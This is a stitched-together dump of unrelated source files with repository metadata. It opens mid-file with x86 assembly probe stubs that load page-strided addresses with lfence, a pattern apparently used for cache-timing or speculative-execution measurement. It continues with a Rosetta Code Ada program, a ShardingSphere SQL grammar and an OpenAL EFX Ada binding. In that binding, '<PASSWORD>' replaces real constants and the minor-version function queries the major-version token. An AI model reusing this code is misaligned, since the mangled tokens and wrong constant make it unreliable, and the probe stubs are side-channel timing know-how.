rax, QWORD[tester+215*4096] ret lfence filler215: resb (0x1 << 16) - TEST_SIZE test216: mov rax, QWORD[tester+216*4096] ret lfence filler216: resb (0x1 << 16) - TEST_SIZE test217: mov rax, QWORD[tester+217*4096] ret lfence filler217: resb (0x1 << 16) - TEST_SIZE test218: mov rax, QWORD[tester+218*4096] ret lfence filler218: resb (0x1 << 16) - TEST_SIZE test219: mov rax, QWORD[tester+219*4096] ret lfence filler219: resb (0x1 << 16) - TEST_SIZE test220: mov rax, QWORD[tester+220*4096] ret lfence filler220: resb (0x1 << 16) - TEST_SIZE test221: mov rax, QWORD[tester+221*4096] ret lfence filler221: resb (0x1 << 16) - TEST_SIZE test222: mov rax, QWORD[tester+222*4096] ret lfence filler222: resb (0x1 << 16) - TEST_SIZE test223: mov rax, QWORD[tester+223*4096] ret lfence filler223: resb (0x1 << 16) - TEST_SIZE test224: mov rax, QWORD[tester+224*4096] ret lfence filler224: resb (0x1 << 16) - TEST_SIZE test225: mov rax, QWORD[tester+225*4096] ret lfence filler225: resb (0x1 << 16) - TEST_SIZE test226: mov rax, QWORD[tester+226*4096] ret lfence filler226: resb (0x1 << 16) - TEST_SIZE test227: mov rax, QWORD[tester+227*4096] ret lfence filler227: resb (0x1 << 16) - TEST_SIZE test228: mov rax, QWORD[tester+228*4096] ret lfence filler228: resb (0x1 << 16) - TEST_SIZE test229: mov rax, QWORD[tester+229*4096] ret lfence filler229: resb (0x1 << 16) - TEST_SIZE test230: mov rax, QWORD[tester+230*4096] ret lfence filler230: resb (0x1 << 16) - TEST_SIZE test231: mov rax, QWORD[tester+231*4096] ret lfence filler231: resb (0x1 << 16) - TEST_SIZE test232: mov rax, QWORD[tester+232*4096] ret lfence filler232: resb (0x1 << 16) - TEST_SIZE test233: mov rax, QWORD[tester+233*4096] ret lfence filler233: resb (0x1 << 16) - TEST_SIZE test234: mov rax, QWORD[tester+234*4096] ret lfence filler234: resb (0x1 << 16) - TEST_SIZE test235: mov rax, QWORD[tester+235*4096] ret lfence filler235: resb (0x1 << 16) - TEST_SIZE test236: mov rax, QWORD[tester+236*4096] ret lfence filler236: resb (0x1 << 16) - TEST_SIZE test237: mov rax, QWORD[tester+237*4096] ret lfence filler237: resb (0x1 << 16) - TEST_SIZE test238: mov rax, QWORD[tester+238*4096] ret lfence filler238: resb (0x1 << 16) - TEST_SIZE test239: mov rax, QWORD[tester+239*4096] ret lfence filler239: resb (0x1 << 16) - TEST_SIZE test240: mov rax, QWORD[tester+240*4096] ret lfence filler240: resb (0x1 << 16) - TEST_SIZE test241: mov rax, QWORD[tester+241*4096] ret lfence filler241: resb (0x1 << 16) - TEST_SIZE test242: mov rax, QWORD[tester+242*4096] ret lfence filler242: resb (0x1 << 16) - TEST_SIZE test243: mov rax, QWORD[tester+243*4096] ret lfence filler243: resb (0x1 << 16) - TEST_SIZE test244: mov rax, QWORD[tester+244*4096] ret lfence filler244: resb (0x1 << 16) - TEST_SIZE test245: mov rax, QWORD[tester+245*4096] ret lfence filler245: resb (0x1 << 16) - TEST_SIZE test246: mov rax, QWORD[tester+246*4096] ret lfence filler246: resb (0x1 << 16) - TEST_SIZE test247: mov rax, QWORD[tester+247*4096] ret lfence filler247: resb (0x1 << 16) - TEST_SIZE test248: mov rax, QWORD[tester+248*4096] ret lfence filler248: resb (0x1 << 16) - TEST_SIZE test249: mov rax, QWORD[tester+249*4096] ret lfence filler249: resb (0x1 << 16) - TEST_SIZE test250: mov rax, QWORD[tester+250*4096] ret lfence filler250: resb (0x1 << 16) - TEST_SIZE test251: mov rax, QWORD[tester+251*4096] ret lfence filler251: resb (0x1 << 16) - TEST_SIZE test252: mov rax, QWORD[tester+252*4096] ret lfence filler252: resb (0x1 << 16) - TEST_SIZE test253: mov rax, QWORD[tester+253*4096] ret lfence filler253: resb (0x1 << 16) - TEST_SIZE test254: mov rax, QWORD[tester+254*4096] ret lfence filler254: resb (0x1 << 16) - TEST_SIZE test255: mov rax, QWORD[tester+255*4096] ret lfence filler255: resb (0x1 << 16) - TEST_SIZE filler256: resb (0x32 << 20)
Task/100-doors/Ada/100-doors-1.ada
mullikine/RosettaCodeData
1
7608
with Ada.Text_Io; use Ada.Text_Io; procedure Doors is type Door_State is (Closed, Open); type Door_List is array(Positive range 1..100) of Door_State; The_Doors : Door_List := (others => Closed); begin for I in 1..100 loop for J in The_Doors'range loop if J mod I = 0 then if The_Doors(J) = Closed then The_Doors(J) := Open; else The_Doors(J) := Closed; end if; end if; end loop; end loop; for I in The_Doors'range loop Put_Line(Integer'Image(I) & " is " & Door_State'Image(The_Doors(I))); end loop; end Doors;
sharding-core/sharding-core-parse/sharding-core-parse-sqlserver/src/main/antlr4/imports/sqlserver/DCLStatement.g4
minli04g/incubator-shardingsphere
1
1201
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ grammar DCLStatement; import Symbol, Keyword, Literals, BaseRule; grant : GRANT (classPrivilegesClause_ | classTypePrivilegesClause_) ; revoke : REVOKE ((GRANT OPTION FOR)? classPrivilegesClause_ | classTypePrivilegesClause_) ; deny : DENY classPrivilegesClause_ ; classPrivilegesClause_ : classPrivileges_ (ON onClassClause_)? ; classPrivileges_ : (ALL PRIVILEGES? | (privilegeType_ columnNames? (COMMA_ privilegeType_ columnNames?)*)) ; onClassClause_ : class_? tableName ; classTypePrivilegesClause_ : classTypePrivileges_ (ON onClassTypeClause_)? ; classTypePrivileges_ : privilegeType_ (COMMA_ privilegeType_)* ; onClassTypeClause_ : classType_? tableName ; privilegeType_ : IDENTIFIER_+? ; class_ : IDENTIFIER_ COLON_ COLON_ ; classType_ : (LOGIN | DATABASE | OBJECT | ROLE | SCHEMA | USER) COLON_ COLON_ ; createUser : CREATE USER ; dropUser : DROP USER ; alterUser : ALTER USER ; createRole : CREATE ROLE ; dropRole : DROP ROLE ; alterRole : ALTER ROLE ; createLogin : CREATE LOGIN ; dropLogin : DROP LOGIN ; alterLogin : ALTER LOGIN ;
openal-extension-efx.adb
io7m/coreland-openal-ada
1
25616
with OpenAL.Thin; with OpenAL.ALC_Thin; package body OpenAL.Extension.EFX is -- -- Auxiliary_Effect_Slot_Is_Valid -- function Auxiliary_Effect_Slot_Is_Valid (Extension : in Extension_t; Slot : in Auxiliary_Effect_Slot_t) return Boolean is begin Check_Loaded (Extension); return Boolean (Extension.API.Is_Auxiliary_Effect_Slot (Types.Unsigned_Integer_t (Slot))); end Auxiliary_Effect_Slot_Is_Valid; -- -- Check_Loaded -- use type Context.Context_t; procedure Check_Loaded (Extension : in Extension_t) is begin if Extension.Loaded = False then raise Program_Error with "extension not loaded"; end if; if Extension.Owner_Context /= Context.Get_Current_Context then raise Program_Error with "extension was not loaded in the current context"; end if; end Check_Loaded; -- -- Delete_* -- procedure Delete_Auxiliary_Effect_Slots (Extension : in Extension_t; Slots : in Auxiliary_Effect_Slot_Array_t) is begin Check_Loaded (Extension); Extension.API.Delete_Auxiliary_Effect_Slots (Size => Slots'Length, Slots => Slots (Slots'First)'Address); end Delete_Auxiliary_Effect_Slots; procedure Delete_Effects (Extension : in Extension_t; Effects : in Effect_Array_t) is begin Check_Loaded (Extension); Extension.API.Delete_Effects (Size => Effects'Length, Effects => Effects (Effects'First)'Address); end Delete_Effects; procedure Delete_Filters (Extension : in Extension_t; Filters : in Filter_Array_t) is begin Check_Loaded (Extension); Extension.API.Delete_Filters (Size => Filters'Length, Filters => Filters (Filters'First)'Address); end Delete_Filters; -- -- Effect_Is_Valid -- function Effect_Is_Valid (Extension : in Extension_t; Effect : in Effect_t) return Boolean is begin Check_Loaded (Extension); return Boolean (Extension.API.Is_Effect (Types.Unsigned_Integer_t (Effect))); end Effect_Is_Valid; -- -- Filter_Is_Valid -- function Filter_Is_Valid (Extension : in Extension_t; Filter : in Filter_t) return Boolean is begin Check_Loaded (Extension); return Boolean (Extension.API.Is_Filter (Types.Unsigned_Integer_t (Filter))); end Filter_Is_Valid; -- -- Generate_* -- procedure Generate_Auxiliary_Effect_Slots (Extension : in Extension_t; Slots : in out Auxiliary_Effect_Slot_Array_t) is begin Check_Loaded (Extension); Extension.API.Gen_Auxiliary_Effect_Slots (Size => Slots'Length, Slots => Slots (Slots'First)'Address); end Generate_Auxiliary_Effect_Slots; procedure Generate_Effects (Extension : in Extension_t; Effects : in out Effect_Array_t) is begin Check_Loaded (Extension); Extension.API.Gen_Effects (Size => Effects'Length, Effects => Effects (Effects'First)'Address); end Generate_Effects; procedure Generate_Filters (Extension : in Extension_t; Filters : in out Filter_Array_t) is begin Check_Loaded (Extension); Extension.API.Gen_Filters (Size => Filters'Length, Filters => Filters (Filters'First)'Address); end Generate_Filters; -- -- Get_Effect_Type -- function Get_Effect_Type (Extension : in Extension_t; Effect : in Effect_t) return Effect_Type_t is Effect_Type : aliased Types.Integer_t; begin Check_Loaded (Extension); Extension.API.Get_Effecti (Effect => Types.Unsigned_Integer_t (Effect), Parameter => EFX_Thin.AL_EFFECT_TYPE, Value => Effect_Type'Address); return Map_To_Effect_Type (Effect_Type); end Get_Effect_Type; -- -- Get_Filter_Type -- function Get_Filter_Type (Extension : in Extension_t; Filter : in Filter_t) return Filter_Type_t is Filter_Type : aliased Types.Integer_t; begin Check_Loaded (Extension); Extension.API.Get_Filteri (Filter => Types.Unsigned_Integer_t (Filter), Parameter => EFX_Thin.AL_FILTER_TYPE, Value => Filter_Type'Address); return Map_To_Filter_Type (Filter_Type); end Get_Filter_Type; -- -- Get_Major_Version -- function Get_Major_Version (Extension : in Extension_t) return Natural is Value : aliased Types.Integer_t := 0; begin Check_Loaded (Extension); ALC_Thin.Get_Integerv (Device => Context.Device_Data (Context.Get_Context_Device (Extension.Owner_Context)), Token => <PASSWORD>, Size => 1, Data => Value'Address); return Natural (Value); end Get_Major_Version; -- -- Get_Maximum_Auxiliary_Sends -- function Get_Maximum_Auxiliary_Sends (Extension : in Extension_t) return Source_Auxiliary_Send_t is Value : aliased Types.Integer_t := 0; begin Check_Loaded (Extension); ALC_Thin.Get_Integerv (Device => Context.Device_Data (Context.Get_Context_Device (Extension.Owner_Context)), Token => <PASSWORD>, Size => 1, Data => Value'Address); return Source_Auxiliary_Send_t (Value); end Get_Maximum_Auxiliary_Sends; -- -- Get_Minor_Version -- function Get_Minor_Version (Extension : in Extension_t) return Natural is Value : aliased Types.Integer_t := 0; begin Check_Loaded (Extension); ALC_Thin.Get_Integerv (Device => Context.Device_Data (Context.Get_Context_Device (Extension.Owner_Context)), Token => EFX_Thin.ALC_EFX_MAJOR_VERSION, Size => 1, Data => Value'Address); return Natural (Value); end Get_Minor_Version; -- -- Is_Present -- function Is_Present (Device : in Context.Device_t) return Boolean is begin return Context.Is_Extension_Present (Device => Device, Name => "ALC_EXT_EFX"); end Is_Present; -- -- Load_Extension -- function Load_Extension return Extension_t is Current_Context : Context.Context_t; begin Current_Context := Context.Get_Current_Context; if Current_Context = Context.Invalid_Context then raise Program_Error with "no current context"; end if; return Extension_t' (Owner_Context => Current_Context, API => EFX_Thin.Load_API, Loaded => True); end Load_Extension; -- -- Map_To_Effect_Type -- function Map_To_Effect_Type (Effect_Type : in Types.Integer_t) return Effect_Type_t is Value : Effect_Type_t; begin case Effect_Type is when EFX_Thin.AL_EFFECT_NULL => Value := Null_Effect; when EFX_Thin.AL_EFFECT_REVERB => Value := Reverb; when EFX_Thin.AL_EFFECT_CHORUS => Value := Chorus; when EFX_Thin.AL_EFFECT_DISTORTION => Value := Distortion; when EFX_Thin.AL_EFFECT_ECHO => Value := Echo; when EFX_Thin.AL_EFFECT_FLANGER => Value := Flanger; when EFX_Thin.AL_EFFECT_FREQUENCY_SHIFTER => Value := Frequency_Shifter; when EFX_Thin.AL_EFFECT_VOCAL_MORPHER => Value := Vocal_Morpher; when EFX_Thin.AL_EFFECT_PITCH_SHIFTER => Value := Pitch_Shifter; when EFX_Thin.AL_EFFECT_RING_MODULATOR => Value := Ring_Modulator; when EFX_Thin.AL_EFFECT_AUTOWAH => Value := Autowah; when EFX_Thin.AL_EFFECT_COMPRESSOR => Value := Compressor; when EFX_Thin.AL_EFFECT_EQUALIZER => Value := Equalizer; when EFX_Thin.AL_EFFECT_EAXREVERB => Value := EAX_Reverb; when others => Value := Unknown_Effect; end case; return Value; end Map_To_Effect_Type; -- -- Map_To_Filter_Type -- function Map_To_Filter_Type (Filter_Type : in Types.Integer_t) return Filter_Type_t is Value : Filter_Type_t; begin case Filter_Type is when EFX_Thin.AL_FILTER_NULL => Value := Null_Filter; when EFX_Thin.AL_FILTER_LOWPASS => Value := Low_Pass_Filter; when EFX_Thin.AL_FILTER_HIGHPASS => Value := High_Pass_Filter; when EFX_Thin.AL_FILTER_BANDPASS => Value := Band_Pass_Filter; when others => Value := Unknown_Filter; end case; return Value; end Map_To_Filter_Type; -- -- Set_Air_Absorption_Factor -- procedure Set_Air_Absorption_Factor (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Factor : in Air_Absorption_Factor_t) is begin Check_Loaded (Extension); Thin.Sourcef (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_AIR_ABSORPTION_FACTOR, Value => Types.Float_t (Factor)); end Set_Air_Absorption_Factor; -- -- Set_Auxiliary_Effect_Slot_Auto_Send -- procedure Set_Auxiliary_Effect_Slot_Auto_Send (Extension : in Extension_t; Slot : in Auxiliary_Effect_Slot_t; Enable : in Boolean) is begin Check_Loaded (Extension); Extension.API.Auxiliary_Effect_Sloti (Slot => Types.Unsigned_Integer_t (Slot), Parameter => EFX_Thin.AL_EFFECTSLOT_AUXILIARY_SEND_AUTO, Value => Types.Integer_t (Boolean'Pos (Enable))); end Set_Auxiliary_Effect_Slot_Auto_Send; -- -- Set_Auxiliary_Effect_Slot_Effect -- procedure Set_Auxiliary_Effect_Slot_Effect (Extension : in Extension_t; Slot : in Auxiliary_Effect_Slot_t; Effect : in Effect_t) is begin Check_Loaded (Extension); Extension.API.Auxiliary_Effect_Sloti (Slot => Types.Unsigned_Integer_t (Slot), Parameter => EFX_Thin.AL_EFFECTSLOT_EFFECT, Value => Types.Integer_t (Effect)); end Set_Auxiliary_Effect_Slot_Effect; -- -- Set_Auxiliary_Effect_Slot_Gain -- procedure Set_Auxiliary_Effect_Slot_Gain (Extension : in Extension_t; Slot : in Auxiliary_Effect_Slot_t; Gain : in Gain_t) is begin Check_Loaded (Extension); Extension.API.Auxiliary_Effect_Slotf (Slot => Types.Unsigned_Integer_t (Slot), Parameter => EFX_Thin.AL_EFFECTSLOT_GAIN, Value => Gain); end Set_Auxiliary_Effect_Slot_Gain; -- -- Set_Auxiliary_Send_Filter -- procedure Set_Auxiliary_Send_Filter (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Slot : in Auxiliary_Effect_Slot_t; Source_Send : in Source_Auxiliary_Send_t := 0; Filter : in Filter_t := No_Filter) is begin Check_Loaded (Extension); Thin.Source_3i (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_AUXILIARY_SEND_FILTER, Value_1 => Types.Integer_t (Slot), Value_2 => Types.Integer_t (Source_Send), Value_3 => Types.Integer_t (Filter)); end Set_Auxiliary_Send_Filter; -- -- Set_Auxiliary_Send_Filter_Gain_Auto -- procedure Set_Auxiliary_Send_Filter_Gain_Auto (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Enable : in Boolean) is begin Check_Loaded (Extension); Thin.Sourcei (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_AUXILIARY_SEND_FILTER_GAIN_AUTO, Value => Types.Integer_t (Boolean'Pos (Enable))); end Set_Auxiliary_Send_Filter_Gain_Auto; -- -- Set_Auxiliary_Send_Filter_Gain_HF_Auto -- procedure Set_Auxiliary_Send_Filter_Gain_HF_Auto (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Enable : in Boolean) is begin Check_Loaded (Extension); Thin.Sourcei (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_AUXILIARY_SEND_FILTER_GAINHF_AUTO, Value => Types.Integer_t (Boolean'Pos (Enable))); end Set_Auxiliary_Send_Filter_Gain_HF_Auto; -- -- Set_Cone_Outer_Gain_HF -- procedure Set_Cone_Outer_Gain_HF (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Factor : in Cone_Outer_Gain_HF_Factor_t) is begin Check_Loaded (Extension); Thin.Sourcef (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_CONE_OUTER_GAINHF, Value => Types.Float_t (Factor)); end Set_Cone_Outer_Gain_HF; -- -- Set_Direct_Filter -- procedure Set_Direct_Filter (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Filter : in Filter_t) is begin Check_Loaded (Extension); Thin.Sourcei (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_DIRECT_FILTER, Value => Types.Integer_t (Filter)); end Set_Direct_Filter; -- -- Set_Direct_Filter_Gain_HF_Auto -- procedure Set_Direct_Filter_Gain_HF_Auto (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Enable : in Boolean) is begin Check_Loaded (Extension); Thin.Sourcei (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_DIRECT_FILTER_GAINHF_AUTO, Value => Types.Integer_t (Boolean'Pos (Enable))); end Set_Direct_Filter_Gain_HF_Auto; -- -- Set_Effect_Parameter -- type Map_Effect_Parameter_t is array (Effect_Parameter_t) of Types.Enumeration_t; Map_Effect_Parameter : constant Map_Effect_Parameter_t := (Autowah_Attack_Time => EFX_Thin.AL_AUTOWAH_ATTACK_TIME, Autowah_Peak_Gain => EFX_Thin.AL_AUTOWAH_PEAK_GAIN, Autowah_Release_Time => EFX_Thin.AL_AUTOWAH_RELEASE_TIME, Autowah_Resonance => EFX_Thin.AL_AUTOWAH_RESONANCE, Chorus_Delay => EFX_Thin.AL_CHORUS_DELAY, Chorus_Depth => EFX_Thin.AL_CHORUS_DEPTH, Chorus_Feedback => EFX_Thin.AL_CHORUS_FEEDBACK, Chorus_Phase => EFX_Thin.AL_CHORUS_PHASE, Chorus_Rate => EFX_Thin.AL_CHORUS_RATE, Chorus_Waveform => EFX_Thin.AL_CHORUS_WAVEFORM, Distortion_Edge => EFX_Thin.AL_DISTORTION_EDGE, Distortion_EQ_Bandwidth => EFX_Thin.AL_DISTORTION_EQBANDWIDTH, Distortion_EQ_Center => EFX_Thin.AL_DISTORTION_EQCENTER, Distortion_Gain => EFX_Thin.AL_DISTORTION_GAIN, Distortion_Lowpass_Cutoff => EFX_Thin.AL_DISTORTION_LOWPASS_CUTOFF, EAX_Reverb_Air_Absorption_Gain_HF => EFX_Thin.AL_EAXREVERB_AIR_ABSORPTION_GAINHF, EAX_Reverb_Decay_HF_Limit => EFX_Thin.AL_EAXREVERB_DECAY_HFLIMIT, EAX_Reverb_Decay_HF_Ratio => EFX_Thin.AL_EAXREVERB_DECAY_HFRATIO, EAX_Reverb_Decay_LF_Ratio => EFX_Thin.AL_EAXREVERB_DECAY_LFRATIO, EAX_Reverb_Decay_Time => EFX_Thin.AL_EAXREVERB_DECAY_TIME, EAX_Reverb_Density => EFX_Thin.AL_EAXREVERB_DENSITY, EAX_Reverb_Diffusion => EFX_Thin.AL_EAXREVERB_DIFFUSION, EAX_Reverb_Echo_Depth => EFX_Thin.AL_EAXREVERB_ECHO_DEPTH, EAX_Reverb_Echo_Time => EFX_Thin.AL_EAXREVERB_ECHO_TIME, EAX_Reverb_Gain => EFX_Thin.AL_EAXREVERB_GAIN, EAX_Reverb_Gain_HF => EFX_Thin.AL_EAXREVERB_GAINHF, EAX_Reverb_Gain_LF => EFX_Thin.AL_EAXREVERB_GAINLF, EAX_Reverb_HF_Reference => EFX_Thin.AL_EAXREVERB_HFREFERENCE, EAX_Reverb_Late_Reverb_Delay => EFX_Thin.AL_EAXREVERB_LATE_REVERB_DELAY, EAX_Reverb_Late_Reverb_Gain => EFX_Thin.AL_EAXREVERB_LATE_REVERB_GAIN, EAX_Reverb_Late_Reverb_Pan => EFX_Thin.AL_EAXREVERB_LATE_REVERB_PAN, EAX_Reverb_LF_Reference => EFX_Thin.AL_EAXREVERB_LFREFERENCE, EAX_Reverb_Modulation_Depth => EFX_Thin.AL_EAXREVERB_MODULATION_DEPTH, EAX_Reverb_Modulation_Time => EFX_Thin.AL_EAXREVERB_MODULATION_TIME, EAX_Reverb_Reflections_Delay => EFX_Thin.AL_EAXREVERB_REFLECTIONS_DELAY, EAX_Reverb_Reflections_Gain => EFX_Thin.AL_EAXREVERB_REFLECTIONS_GAIN, EAX_Reverb_Reflections_Pan => EFX_Thin.AL_EAXREVERB_REFLECTIONS_PAN, EAX_Reverb_Room_Rolloff_Factor => EFX_Thin.AL_EAXREVERB_ROOM_ROLLOFF_FACTOR, Echo_Damping => EFX_Thin.AL_ECHO_DAMPING, Echo_Delay => EFX_Thin.AL_ECHO_DELAY, Echo_Feedback => EFX_Thin.AL_ECHO_FEEDBACK, Echo_LR_Delay => EFX_Thin.AL_ECHO_LRDELAY, Echo_Spread => EFX_Thin.AL_ECHO_SPREAD, Equalizer_High_Cutoff => EFX_Thin.AL_EQUALIZER_HIGH_CUTOFF, Equalizer_High_Gain => EFX_Thin.AL_EQUALIZER_HIGH_GAIN, Equalizer_Low_Cutoff => EFX_Thin.AL_EQUALIZER_LOW_CUTOFF, Equalizer_Low_Gain => EFX_Thin.AL_EQUALIZER_LOW_GAIN, Equalizer_Mid1_Center => EFX_Thin.AL_EQUALIZER_MID1_CENTER, Equalizer_Mid1_Gain => EFX_Thin.AL_EQUALIZER_MID1_GAIN, Equalizer_Mid1_Width => EFX_Thin.AL_EQUALIZER_MID1_WIDTH, Equalizer_Mid2_Center => EFX_Thin.AL_EQUALIZER_MID2_CENTER, Equalizer_Mid2_Gain => EFX_Thin.AL_EQUALIZER_MID2_GAIN, Equalizer_Mid2_Width => EFX_Thin.AL_EQUALIZER_MID2_WIDTH, Flanger_Delay => EFX_Thin.AL_FLANGER_DELAY, Flanger_Depth => EFX_Thin.AL_FLANGER_DEPTH, Flanger_Feedback => EFX_Thin.AL_FLANGER_FEEDBACK, Flanger_Phase => EFX_Thin.AL_FLANGER_PHASE, Flanger_Rate => EFX_Thin.AL_FLANGER_RATE, Flanger_Waveform => EFX_Thin.AL_FLANGER_WAVEFORM, Frequency_Shifter_Frequency => EFX_Thin.AL_FREQUENCY_SHIFTER_FREQUENCY, Frequency_Shifter_Left_Direction => EFX_Thin.AL_FREQUENCY_SHIFTER_LEFT_DIRECTION, Frequency_Shifter_Right_Direction => EFX_Thin.AL_FREQUENCY_SHIFTER_RIGHT_DIRECTION, Pitch_Shifter_Coarse_Tune => EFX_Thin.AL_PITCH_SHIFTER_COARSE_TUNE, Pitch_Shifter_Fine_Tune => EFX_Thin.AL_PITCH_SHIFTER_FINE_TUNE, Reverb_Air_Absorption_Gain_HF => EFX_Thin.AL_REVERB_AIR_ABSORPTION_GAINHF, Reverb_Decay_HF_Limit => EFX_Thin.AL_REVERB_DECAY_HFLIMIT, Reverb_Decay_HF_Ratio => EFX_Thin.AL_REVERB_DECAY_HFRATIO, Reverb_Decay_Time => EFX_Thin.AL_REVERB_DECAY_TIME, Reverb_Density => EFX_Thin.AL_REVERB_DENSITY, Reverb_Diffusion => EFX_Thin.AL_REVERB_DIFFUSION, Reverb_Gain => EFX_Thin.AL_REVERB_GAIN, Reverb_Gain_HF => EFX_Thin.AL_REVERB_GAINHF, Reverb_Late_Reverb_Delay => EFX_Thin.AL_REVERB_LATE_REVERB_DELAY, Reverb_Late_Reverb_Gain => EFX_Thin.AL_REVERB_LATE_REVERB_GAIN, Reverb_Reflections_Delay => EFX_Thin.AL_REVERB_REFLECTIONS_DELAY, Reverb_Reflections_Gain => EFX_Thin.AL_REVERB_REFLECTIONS_GAIN, Reverb_Room_Rolloff_Factor => EFX_Thin.AL_REVERB_ROOM_ROLLOFF_FACTOR, Ring_Modulator_Frequency => EFX_Thin.AL_RING_MODULATOR_FREQUENCY, Ring_Modulator_Highpass_Cutoff => EFX_Thin.AL_RING_MODULATOR_HIGHPASS_CUTOFF, Ring_Modulator_Waveform => EFX_Thin.AL_RING_MODULATOR_WAVEFORM, Vocal_Morpher_Phoneme_A => EFX_Thin.AL_VOCAL_MORPHER_PHONEMEA, Vocal_Morpher_Phoneme_A_Coarse_Tuning => EFX_Thin.AL_VOCAL_MORPHER_PHONEMEA_COARSE_TUNING, Vocal_Morpher_Phoneme_B => EFX_Thin.AL_VOCAL_MORPHER_PHONEMEB, Vocal_Morpher_Phoneme_B_Coarse_Tuning => EFX_Thin.AL_VOCAL_MORPHER_PHONEMEB_COARSE_TUNING, Vocal_Morpher_Rate => EFX_Thin.AL_VOCAL_MORPHER_RATE, Vocal_Morpher_Waveform => EFX_Thin.AL_VOCAL_MORPHER_WAVEFORM, Compressor_On_Off => EFX_Thin.AL_COMPRESSOR_ONOFF); procedure Set_Effect_Parameter (Extension : in Extension_t; Effect : in Effect_t; Parameter : in Effect_Parameter_t; Value : in Types.Float_t) is begin Check_Loaded (Extension); Extension.API.Effectf (Effect => Types.Unsigned_Integer_t (Effect), Parameter => Map_Effect_Parameter (Parameter), Value => Value); end Set_Effect_Parameter; -- -- Set_Effect_Type -- type Map_Effect_Type_t is array (Valid_Effect_Type_t) of Types.Integer_t; Map_Effect_Type : constant Map_Effect_Type_t := (Reverb => EFX_Thin.AL_EFFECT_REVERB, Chorus => EFX_Thin.AL_EFFECT_CHORUS, Distortion => EFX_Thin.AL_EFFECT_DISTORTION, Echo => EFX_Thin.AL_EFFECT_ECHO, Flanger => EFX_Thin.AL_EFFECT_FLANGER, Frequency_Shifter => EFX_Thin.AL_EFFECT_FREQUENCY_SHIFTER, Vocal_Morpher => EFX_Thin.AL_EFFECT_VOCAL_MORPHER, Pitch_Shifter => EFX_Thin.AL_EFFECT_PITCH_SHIFTER, Ring_Modulator => EFX_Thin.AL_EFFECT_RING_MODULATOR, Autowah => EFX_Thin.AL_EFFECT_AUTOWAH, Compressor => EFX_Thin.AL_EFFECT_COMPRESSOR, Equalizer => EFX_Thin.AL_EFFECT_EQUALIZER, EAX_Reverb => EFX_Thin.AL_EFFECT_EAXREVERB); procedure Set_Effect_Type (Extension : in Extension_t; Effect : in Effect_t; Effect_Type : in Valid_Effect_Type_t) is begin Check_Loaded (Extension); Extension.API.Effecti (Effect => Types.Unsigned_Integer_t (Effect), Parameter => EFX_Thin.AL_EFFECT_TYPE, Value => Map_Effect_Type (Effect_Type)); end Set_Effect_Type; -- -- Set_Filter_Parameter -- type Map_Filter_Parameter_t is array (Filter_Parameter_t) of Types.Enumeration_t; Map_Filter_Parameter : constant Map_Filter_Parameter_t := (Low_Pass_Gain => EFX_Thin.AL_LOWPASS_GAIN, Low_Pass_Gain_HF => EFX_Thin.AL_LOWPASS_GAINHF, High_Pass_Gain => EFX_Thin.AL_HIGHPASS_GAIN, High_Pass_Gain_LF => EFX_Thin.AL_HIGHPASS_GAINLF, Band_Pass_Gain => EFX_Thin.AL_BANDPASS_GAIN, Band_Pass_Gain_LF => EFX_Thin.AL_BANDPASS_GAINLF, Band_Pass_Gain_HF => EFX_Thin.AL_BANDPASS_GAINHF); procedure Set_Filter_Parameter (Extension : in Extension_t; Filter : in Filter_t; Parameter : in Filter_Parameter_t; Value : in Types.Float_t) is begin Check_Loaded (Extension); Extension.API.Filterf (Filter => Types.Unsigned_Integer_t (Filter), Parameter => Map_Filter_Parameter (Parameter), Value => Value); end Set_Filter_Parameter; -- -- Set_Filter_Type -- type Map_Filter_Type_t is array (Valid_Filter_Type_t) of Types.Integer_t; Map_Filter_Type : constant Map_Filter_Type_t := (Low_Pass_Filter => EFX_Thin.AL_FILTER_LOWPASS, Band_Pass_Filter => EFX_Thin.AL_FILTER_BANDPASS, High_Pass_Filter => EFX_Thin.AL_FILTER_HIGHPASS); procedure Set_Filter_Type (Extension : in Extension_t; Filter : in Filter_t; Filter_Type : in Valid_Filter_Type_t) is begin Check_Loaded (Extension); Extension.API.Filteri (Filter => Types.Unsigned_Integer_t (Filter), Parameter => EFX_Thin.AL_FILTER_TYPE, Value => Map_Filter_Type (Filter_Type)); end Set_Filter_Type; -- -- Set_Meters_Per_Unit -- procedure Set_Meters_Per_Unit (Extension : in Extension_t; Meters : in Meters_t) is begin Check_Loaded (Extension); Thin.Listenerf (Parameter => EFX_Thin.AL_METERS_PER_UNIT, Value => Types.Float_t (Meters)); end Set_Meters_Per_Unit; -- -- Set_Room_Rolloff_Factor -- procedure Set_Room_Rolloff_Factor (Extension : in Extension_t; Source : in OpenAL.Source.Source_t; Factor : in Room_Rolloff_Factor_t) is begin Check_Loaded (Extension); Thin.Sourcef (Source_ID => OpenAL.Source.To_Integer (Source), Parameter => EFX_Thin.AL_ROOM_ROLLOFF_FACTOR, Value => Types.Float_t (Factor)); end Set_Room_Rolloff_Factor; end OpenAL.Extension.EFX;
oeis/031/A031908.asm
neoneye/loda-programs
11
18386
